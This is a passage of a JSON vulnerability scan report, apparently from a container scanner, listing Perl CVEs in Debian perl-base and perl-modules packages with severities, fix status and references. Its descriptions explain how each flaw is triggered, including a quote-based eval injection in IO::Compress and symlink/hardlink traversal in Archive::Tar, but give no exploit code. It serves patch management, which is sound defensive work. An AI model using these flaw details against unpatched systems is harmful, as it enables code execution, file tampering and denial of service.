"V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/27/4", "https://access.redhat.com/errata/RHSA-2026:29182", "https://access.redhat.com/errata/RHSA-2026:29210", "https://access.redhat.com/errata/RHSA-2026:29867", "https://access.redhat.com/errata/RHSA-2026:29941", "https://access.redhat.com/errata/RHSA-2026:30085", "https://access.redhat.com/errata/RHSA-2026:30086", "https://access.redhat.com/errata/RHSA-2026:30115", "https://access.redhat.com/errata/RHSA-2026:30843", "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30858", "https://access.redhat.com/errata/RHSA-2026:30859", "https://access.redhat.com/errata/RHSA-2026:30860", "https://access.redhat.com/errata/RHSA-2026:50262", "https://access.redhat.com/security/cve/CVE-2026-48962", "https://bugzilla.redhat.com/2481767", "https://bugzilla.redhat.com/show_bug.cgi?id=2481767", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48962", "https://errata.almalinux.org/9/ALSA-2026-30859.html", "https://errata.rockylinux.org/RLSA-2026:30859", "https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch", "https://linux.oracle.com/cve/CVE-2026-48962.html", "https://linux.oracle.com/errata/ELSA-2026-30860.html", "https://lists.security.metacpan.org/cve-announce/msg/40434385/", "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-48962", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48962.json", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-48962" ], "PublishedDate": "2026-05-27T04:16:31.333Z", "LastModifiedDate": "2026-08-05T13:23:22.46Z" }, { "VulnerabilityID": "CVE-2026-57432", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:80ae6abf3841717f40902c838bb598c52c085bdd803f7acc2a8c209dea1d297a", "Title": "perl: Perl: Information disclosure via integer overflow in pack/unpack operations", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have an integer overflow in S_measure_struct leading to an out-of-bounds heap read in pack and unpack.\n\nS_measure_struct adds each item's size times its repeat count to a running total with no overflow check, so a large repeat count in a pack or unpack template wraps the signed SSize_t total negative. The @, X, and x position codes then guard their moves with a signed length comparison that passes when the length is negative, advancing the buffer pointer out of bounds.\n\nA template derived from untrusted input can read heap memory past the buffer and return it to the caller.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "V3Score": 5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/6", "https://access.redhat.com/security/cve/CVE-2026-57432", "https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch", "https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780102/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57432", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57432" ], "PublishedDate": "2026-07-13T17:17:55.67Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-57433", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ef057d5a6c1b94f55dc67159d4d79300961e762e856b593205a6eb8d052a1b63", "Title": "Storable: Storable: Denial of Service via signed integer overflow in deserialization", "Description": "Storable versions before 3.41 for Perl have a signed integer overflow when deserializing a crafted SX_HOOK record.\n\nretrieve_hook_common reads a signed 32-bit item count from an SX_HOOK record and calls av_extend with that count plus one. A count of I32_MAX wraps the addition to a negative value.\n\nA crafted blob passed to thaw or retrieve triggers the overflow; av_extend receives the negative count and dies with a panic, terminating the deserialization.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/7", "https://access.redhat.com/security/cve/CVE-2026-57433", "https://github.com/Perl/perl5/commit/e4f681784bcdeaa91ff02a2fa4cdcae5c46779d7.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780100/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57433", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57433" ], "PublishedDate": "2026-07-13T17:17:55.783Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-9538", "PkgID": "perl-base@5.40.1-6", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "546ba1bdcd66d61" }, "InstalledVersion": "5.40.1-6", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9538", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:17683c579db22a74cfa3348314b9f9b779adbefa30491bb7372837c2b917a791", "Title": "perl-Archive-Tar: perl-Archive-Tar: Denial of Service via crafted tar header with large entry size", "Description": "Archive::Tar versions before 3.10 for Perl allow memory exhaustion via attacker controlled entry size field in tar header.\n\n_read_tar() reads each entry's payload with $handle-\u003eread($$data, $block), where $block is derived from the entry's 12-byte size field in the tar header with no upper bound on that value.\n\nA crafted header declaring a multi-gigabyte size causes Perl to allocate a scalar of that size.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/4", "https://access.redhat.com/errata/RHSA-2026:49525", "https://access.redhat.com/security/cve/CVE-2026-9538", "https://bugzilla.redhat.com/2481315", "https://bugzilla.redhat.com/show_bug.cgi?id=2481315", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9538", "https://errata.almalinux.org/9/ALSA-2026-49525.html", "https://errata.rockylinux.org/RLSA-2026:49525", "https://github.com/jib/archive-tar-new/commit/f9af01426038e29d9578825a0cd3626946ab08c7.patch", "https://linux.oracle.com/cve/CVE-2026-9538.html", "https://linux.oracle.com/errata/ELSA-2026-49525.html", "https://lists.security.metacpan.org/cve-announce/msg/40396448/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.10/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-9538", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-9538" ], "PublishedDate": "2026-05-26T02:16:41.15Z", "LastModifiedDate": "2026-07-23T11:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-13221", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.3", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5452e3ed3e0453a8b537ef98b1a5ce71f57d36783882d15297880d4e6bb5a66a", "Title": "perl: Perl: Incorrect regular expression processing via large regular expressions", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.10 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk.\n\nWhen such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error.\n\nA pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.", "Severity": "CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 2, "nvd": 4, "oracle-oval": 2, "photon": 4, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N", "V3Score": 5.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/5", "https://access.redhat.com/errata/RHSA-2026:67155", "https://access.redhat.com/security/cve/CVE-2026-13221", "https://bugzilla.redhat.com/2499727", "https://bugzilla.redhat.com/show_bug.cgi?id=2499727", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13221", "https://errata.almalinux.org/9/ALSA-2026-67155.html", "https://errata.rockylinux.org/RLSA-2026:67155", "https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch", "https://github.com/Perl/perl5/issues/23388", "https://linux.oracle.com/cve/CVE-2026-13221.html", "https://linux.oracle.com/errata/ELSA-2026-67278-0.html", "https://lists.security.metacpan.org/cve-announce/msg/41780104/", "https://nvd.nist.gov/vuln/detail/CVE-2026-13221", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-13221" ], "PublishedDate": "2026-07-13T17:16:48.923Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-42496", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.3", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42496", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0adc907d5b1c22bb0d1238a92463d080b6e3a0f500af617c58fda4ccf4a4eab7", "Title": "perl-archive-tar: perl-archive-tar: Path traversal via crafted symlinks allows arbitrary file access", "Description": "Archive::Tar versions before 3.08 for Perl extract symlinks with attacker controlled targets outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to symlink() without validating it against absolute paths or .. segments. The secure-extract mode check that guards regular file extraction does not cover the symlink target.\n\nA subsequent open through the extracted name reads or writes the attacker chosen path.", "Severity": "CRITICAL", "CweIDs": [ "CWE-59", "CWE-22" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30852", "https://access.redhat.com/errata/RHSA-2026:30856", "https://access.redhat.com/errata/RHSA-2026:30857", "https://access.redhat.com/security/cve/CVE-2026-42496", "https://bugzilla.redhat.com/2481314", "https://bugzilla.redhat.com/show_bug.cgi?id=2481314", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42496", "https://errata.almalinux.org/9/ALSA-2026-30856.html", "https://errata.rockylinux.org/RLSA-2026:30856", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://linux.oracle.com/cve/CVE-2026-42496.html", "https://linux.oracle.com/errata/ELSA-2026-30857.html", "https://lists.security.metacpan.org/cve-announce/msg/40396459/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42496", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.13Z", "LastModifiedDate": "2026-07-24T10:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-8376", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.3", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8376", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5dcba962aaa11fe41e59ac5ec0d54ada015b0a454c18d99dffe7e97070a4ac34", "Title": "perl: Perl: Heap buffer overflow when compiling regular expressions on 32-bit builds", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit builds.\n\nPerl_study_chunk in regcomp_study.c checked the size of the joined substring buffer in characters rather than bytes. For a quantified fixed substring with a large minimum count, the byte length mincount * l could overflow SSize_t, producing an undersized SvGROW allocation; the subsequent copy writes past the end of the buffer.\n\nA caller that compiles an attacker-controlled regular expression on a 32-bit perl build triggers a heap buffer overflow at compile time.", "Severity": "CRITICAL", "CweIDs": [ "CWE-680" ], "VendorSeverity": { "amazon": 2, "azure": 2, "nvd": 4, "photon": 4, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 5.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/1", "https://access.redhat.com/security/cve/CVE-2026-8376", "https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch", "https://github.com/Perl/perl5/pull/24433", "https://nvd.nist.gov/vuln/detail/CVE-2026-8376", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-8376" ], "PublishedDate": "2026-05-26T00:16:57.15Z", "LastModifiedDate": "2026-09-08T22:19:18.373Z" }, { "VulnerabilityID": "CVE-2026-42497", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.3", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42497", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6fc8eee6b1309efe3f4c550327b7030df76606a159c8369e0f7832de6c9d4e24", "Title": "perl-Archive-Tar: perl-Archive-Tar: Arbitrary file modification via crafted hardlinks during archive extraction", "Description": "Archive::Tar versions before 3.08 for Perl extract hardlinks to attacker controlled paths outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to link() without validating it against absolute paths or .. segments, creating a hardlink that shares the victim file's inode.\n\nA subsequent write through the extracted name modifies the victim file, and the post-extraction chmod, chown, and utime block in _extract_file() (guarded only against symlinks via -l) applies the tar header's mode, owner, and timestamps to the shared inode during extraction alone.", "Severity": "HIGH", "CweIDs": [ "CWE-59", "CWE-732" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42497", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://lists.security.metacpan.org/cve-announce/msg/40396457/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42497", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.25Z", "LastModifiedDate": "2026-07-24T11:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-48962", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.3", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48962", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:34061209c16dda26b7370c67f9c84032b3e3b8b8d0adc48b17103e7f9b719be3", "Title": "perl-IO-Compress: perl-IO-Compress: Arbitrary code execution via attacker-controlled output glob", "Description": "IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob.\n\n_parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl.\n\nArbitrary Perl in the output glob executes at the calling process's privilege.", "Severity": "HIGH", "CweIDs": [ "CWE-95", "CWE-94" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/27/4", "https://access.redhat.com/errata/RHSA-2026:29182", "https://access.redhat.com/errata/RHSA-2026:29210", "https://access.redhat.com/errata/RHSA-2026:29867", "https://access.redhat.com/errata/RHSA-2026:29941", "https://access.redhat.com/errata/RHSA-2026:30085", "https://access.redhat.com/errata/RHSA-2026:30086", "https://access.redhat.com/errata/RHSA-2026:30115", "https://access.redhat.com/errata/RHSA-2026:30843", "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30858", "https://access.redhat.com/errata/RHSA-2026:30859", "https://access.redhat.com/errata/RHSA-2026:30860", "https://access.redhat.com/errata/RHSA-2026:50262", "https://access.redhat.com/security/cve/CVE-2026-48962", "https://bugzilla.redhat.com/2481767", "https://bugzilla.redhat.com/show_bug.cgi?id=2481767", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48962", "https://errata.almalinux.org/9/ALSA-2026-30859.html", "https://errata.rockylinux.org/RLSA-2026:30859", "https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch", "https://linux.oracle.com/cve/CVE-2026-48962.html", "https://linux.oracle.com/errata/ELSA-2026-30860.html", "https://lists.security.metacpan.org/cve-announce/msg/40434385/", "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-48962", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48962.json", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-48962" ], "PublishedDate": "2026-05-27T04:16:31.333Z", "LastModifiedDate": "2026-08-05T13:23:22.46Z" }, { "VulnerabilityID": "CVE-2026-57432", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.3", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:424de75e24530e50eb35ce74d51239a26158101c746fb53352b92bb6e098a585", "Title": "perl: Perl: Information disclosure via integer overflow in pack/unpack operations", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have an integer overflow in S_measure_struct leading to an out-of-bounds heap read in pack and unpack.\n\nS_measure_struct adds each item's size times its repeat count to a running total with no overflow check, so a large repeat count in a pack or unpack template wraps the signed SSize_t total negative. The @, X, and x position codes then guard their moves with a signed length comparison that passes when the length is negative, advancing the buffer pointer out of bounds.\n\nA template derived from untrusted input can read heap memory past the buffer and return it to the caller.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "V3Score": 5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/6", "https://access.redhat.com/security/cve/CVE-2026-57432", "https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch", "https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780102/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57432", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57432" ], "PublishedDate": "2026-07-13T17:17:55.67Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-57433", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.3", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d15874b6ce684efc9aa0791567131df937f781a709dbe8da7df022c78ab6c42d", "Title": "Storable: Storable: Denial of Service via signed integer overflow in deserialization", "Description": "Storable versions before 3.41 for Perl have a signed integer overflow when deserializing a crafted SX_HOOK record.\n\nretrieve_hook_common reads a signed 32-bit item count from an SX_HOOK record and calls av_extend with that count plus one. A count of I32_MAX wraps the addition to a negative value.\n\nA crafted blob passed to thaw or retrieve triggers the overflow; av_extend receives the negative count and dies with a panic, terminating the deserialization.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/7", "https://access.redhat.com/security/cve/CVE-2026-57433", "https://github.com/Perl/perl5/commit/e4f681784bcdeaa91ff02a2fa4cdcae5c46779d7.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780100/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57433", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57433" ], "PublishedDate": "2026-07-13T17:17:55.783Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-9538", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.3", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9538", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6cbfcaeea45338e152b72e78e468fd632320a921e2f6cd9879d493439dabd765", "Title": "perl-Archive-Tar: perl-Archive-Tar: Denial of Service via crafted tar header with large entry size", "Description": "Archive::Tar versions before 3.10 for Perl allow memory exhaustion via attacker controlled entry size field in tar header.\n\n_read_tar() reads each entry's payload with $handle-\u003eread($$data, $block), where $block is derived from the entry's 